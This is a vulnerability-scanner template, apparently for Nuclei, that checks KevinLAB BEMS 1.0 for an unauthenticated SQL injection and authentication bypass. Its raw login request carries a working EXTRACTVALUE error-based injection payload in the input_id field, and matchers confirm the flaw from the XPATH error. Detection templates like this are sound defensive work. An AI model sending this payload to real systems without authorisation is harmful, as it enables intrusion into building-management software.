34 lines
1.3 KiB
YAML
34 lines
1.3 KiB
YAML
id: kevinlab-bems-sqli
|
|
|
|
info:
|
|
name: KevinLAB BEMS 1.0 Unauthenticated SQL Injection/Authentication Bypass
|
|
author: gy741
|
|
severity: high
|
|
description: The application suffers from an unauthenticated SQL Injection vulnerability. Input passed through 'input_id' POST parameter in '/http/index.php' is not properly sanitised before being returned to the user or used in SQL queries.
|
|
reference:
|
|
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php
|
|
- https://www.exploit-db.com/exploits/50146
|
|
- https://packetstormsecurity.com/files/163572/
|
|
tags: kevinlab,sqli
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /http/index.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
requester=login&request=login¶ms=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "XPATH syntax error"
|
|
- ": '\\ZSL1ZSL'"
|
|
condition: and
|
|
- type: status
|
|
status:
|
|
- 200
|